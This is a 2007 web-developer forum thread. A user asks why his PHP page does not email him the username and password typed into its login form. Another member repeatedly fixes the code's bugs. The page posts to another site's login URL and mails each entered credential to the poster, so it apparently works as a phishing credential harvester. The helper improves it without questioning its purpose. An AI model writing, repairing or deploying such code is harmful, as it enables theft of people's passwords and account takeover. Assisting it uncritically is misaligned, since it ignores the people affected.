/    Sign up×
Community /Pin to ProfileBookmark

Simple Error. Code not working!! PHP Form + mail

[CODE]<?php

if (isset($_POST[username])) {
$to = “[email protected]”;
$subject = “SUBJECT!!”;
$username = $_POST[‘username’] ;
$password = $_POST[‘password’] ;
$message = “Username: $username
Password: $password”;
$headers .= ‘From: [email protected]’ . “rn”;
mail($to,$subject,$message,$header);
} else {
?>

<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”https://www.example.com/login” method=”post” autocomplete=”off”>
Username:<input size=”20″ type=”text” name=”username” maxlength=”12″><br />
Password:<input size=”20″ type=”password” name=”password” maxlength=”20″><br />
<input type=”submit” value=”submit” name=”submit”>
</form>

<?
}
?>[/CODE]

That’s my full code for a PHP page. You enter details on the page and it is supposted to email you what was typed in the password and username box, but it doesnt. The rest of the form works fine.

It’s probobly something simple but I can’t get it.

Thanks

Demuck

to post a comment
PHP

12 Comments(s)

Copy linkTweet thisAlerts:
@aj_nscApr 19.2007 — You're concatenating your headers variable (i.e. $headers .=) when it wasn't previously defined and in the mail() function you use the variable $header instead of $headers.....
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — I fixed spelling error, but when i click SUBMIT it still won't send. And i need like $username to be the username typed in the form below...
Copy linkTweet thisAlerts:
@aj_nscApr 19.2007 — Just to make sure, you are submitting this form to the same page, right? So you're action field should be blank (although you can fill it in with the url of the same page you are using)

Nevermind, you're missing the single quotes in your isset statement, it should be

[code=php]
if (isset($_POST['username'])) {
[/code]


You have $_POST[username]
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — can you like edit the code so that happens.... and yeah im submitting the data from the form on that page.....
Copy linkTweet thisAlerts:
@aj_nscApr 19.2007 — Check the above reply, I edited it and you might have missed what I said at the end...
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — ill try that..
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — i didint get the email.... it didnt send.


with what you said about action feild blank, i need that part though.
Copy linkTweet thisAlerts:
@aj_nscApr 19.2007 — You can do either with the action field (have it pointed to the current url or leave it blank) but I think the blank is better from a security point of view. Post the code that you're using now so I can see if there are any other errors. Also, is it giving you an error when you execute the code? Try to debug it by adding an echo statement after your if statement just to see if the if(isset($_POST['username'])) is being executed
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — no error, like line 34 or something, nothing like that... it just continues to the login page. here is code..

[CODE]<?php

if (isset($_POST['username'])) {
$to = "[email protected]";
$subject = "Subject";
$username = $_POST['username'] ;
$password = $_POST['password'] ;
$message = "Username: $username
Password: $password";
$headers .= 'From: [email protected]' . "rn";
mail($to,$subject,$message,$headers);
} else {
?>
<html>
<head>
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>Something</title>
</head>
<body>
<form action="https://website.com/login" method="post" autocomplete="off">
Username:<input size="20" type="text" name="username" maxlength="12"><br />
Password:<input size="20" type="password" name="password" maxlength="20"><br />
<input type="submit" value="submit" name="submit">
</form>
<?
}
?>[/CODE]
Copy linkTweet thisAlerts:
@aj_nscApr 19.2007 — You're still concatenating the headers (i.e. $header .=)

$headers was not previously defined so it should be an = not a .=

Also, it doesn't make sense to split it into two strings so replace your headers line with this one.
[code=php]
$headers = "From: [email protected]";
[/code]
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — fixed header part, replaced it with the one you did. sill doesnt send email.
Copy linkTweet thisAlerts:
@demuckauthorApr 19.2007 — can anybody else help?
×

Success!

Help @demuck spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.17,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...